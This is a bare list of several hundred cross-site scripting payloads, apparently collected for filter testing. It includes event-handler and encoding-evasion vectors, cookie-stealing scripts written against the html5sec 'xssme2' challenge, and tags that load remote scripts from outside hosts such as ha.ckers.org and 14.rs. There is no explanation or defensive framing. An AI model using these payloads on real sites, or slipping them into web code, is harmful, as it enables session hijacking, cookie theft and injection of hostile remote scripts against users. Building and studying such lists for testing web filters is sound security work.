<xmp draggable="true" ondragleave="alert(1)">test</xmp>
<xmp draggable="true" ondragstart="alert(1)">test</xmp>
<xmp id=x tabindex=1 onactivate=alert(1)></xmp>
<xmp id=x tabindex=1 onbeforeactivate=alert(1)></xmp>
<xmp id=x tabindex=1 onbeforedeactivate=alert(1)></xmp><input autofocus>
<xmp id=x tabindex=1 ondeactivate=alert(1)></xmp><input id=y autofocus>
<xmp id=x tabindex=1 onfocus=alert(1)></xmp>
<xmp id=x tabindex=1 onfocusin=alert(1)></xmp>
<xmp onbeforecopy="alert(1)" contenteditable>test</xmp>
<xmp onbeforecut="alert(1)" contenteditable>test</xmp>
<xmp onbeforepaste="alert(1)" contenteditable>test</xmp>
<xmp onblur=alert(1) tabindex=1 id=x></xmp><input autofocus>
<xmp onclick="alert(1)">test</xmp>
<xmp oncontextmenu="alert(1)">test</xmp>
<xmp oncopy="alert(1)" contenteditable>test</xmp>
<xmp oncut="alert(1)" contenteditable>test</xmp>
<xmp ondblclick="alert(1)">test</xmp>
<xmp onfocusout=alert(1) tabindex=1 id=x></xmp><input autofocus>
<xmp onkeydown="alert(1)" contenteditable>test</xmp>
<xmp onkeypress="alert(1)" contenteditable>test</xmp>
<xmp onkeyup="alert(1)" contenteditable>test</xmp>
<xmp onmousedown="alert(1)">test</xmp>
<xmp onmouseenter="alert(1)">test</xmp>
<xmp onmouseleave="alert(1)">test</xmp>
<xmp onmousemove="alert(1)">test</xmp>
<xmp onmouseout="alert(1)">test</xmp>
<xmp onmouseover="alert(1)">test</xmp>
<xmp onmouseup="alert(1)">test</xmp>
<xmp onpaste="alert(1)" contenteditable>test</xmp>
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>
<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 onblur=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 onfocus=alert(1)></xss>
<xss id=x tabindex=1 onfocusin=alert(1)></xss>
<xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus>
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
<<scr\0ipt/src=http://xss.com/xss.js></script
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
' onmouseover=alert(/XSS/)
"><iframe%20src="http://google.com"%%203E
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
x”</title><img src%3dx onerror%3dalert(1)>
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22);  xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{   var c;   if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) )    alert(c[1]); }catch(e){} };  xdr.send(); </script>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() {    return document.cookie }}); alert(Safe.get());</script>
<script>alert(document.head.innerHTML.substr(146,20));</script>
<script>alert(document.head.childNodes[3].text)</script>
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>
<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click';  document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
<script>  (function (o) {   function exploit(x) {    if (x !== null)     alert('User cookie is ' %2B x);    else     console.log('fail');   }      o.onclick = function (e) {    e.__defineGetter__('isTrusted', function () { return true; });    exploit(Safe.get());   };      var e = document.createEvent('MouseEvent');   e.initEvent('click', true, true);   o.dispatchEvent(e);  })(document.getElementById('safe123')); </script>
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
<script>     function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> 
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
<script>  function foo(elem, doc, text) {   elem.onclick = function (e) {    e.__defineGetter__(text[0], function () { return true })    alert(Safe.get());   };      var event = doc.createEvent(text[1]);   event.initEvent(text[2], true, true);   elem.dispatchEvent(event);  } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # 
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script>#
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea>
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
<var onmouseover="prompt(1)">On Mouse Over</var>?
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?
<svg><script ?>alert(1)
<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>?
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script ????????????
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script ?
<img src ?itworksonchrome?\/onerror = alert(1)???
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?
<div  style="position:absolute;top:0;left:0;width:100%;height:100%"  onmouseover="prompt(1)" onclick="alert(1)">x</button>?
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
<iframe  src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a  href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click  Me</a>
"><img src=x onerror=prompt(1);>
<SCRIPT>alert('XSS');</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
<IMG SRC="javascript:alert('XSS')"
<SCRIPT>a=/XSS/
\";alert('XSS');//
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<XSS STYLE='no\xss:noxss("*//*");
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
getURL("javascript:alert('XSS')")
a="get";
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<HTML><BODY>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCriPt x>(((confirm)))``</scRipt x>
<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z
<deTAiLs/open/oNtoGGle=confirm()>
<scRiPt y="><">/*<sCRipt* */prompt()</script
<A href="javascript%26colon;confirm()">click
<sVg oNloaD=write()>
<A href=javas%26#99;ript:alert(1)>click
<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>
<svG/x=">"/oNloaD=confirm()//
<--`<iMG/srC=` onerror=confirm``> --!>
<SVg </onlOad ="1> (_=prompt,_(1)) "">
<!--><scRipT src=//14.rs>
<sCriPt/src=//14.rs?
<sCRIpt x=">" src=//15.rs></script>
<D3/OnMouSEenTer=[2].find(confirm)>z
<D3"<"/OncLick="1>[confirm``]"<">z
<D3/OnpOinTeReENter=confirm``>click here
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<Z oncut=alert()>x
<iFrAMe/src \/\/onload = prompt(1)
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
>>> vectors()
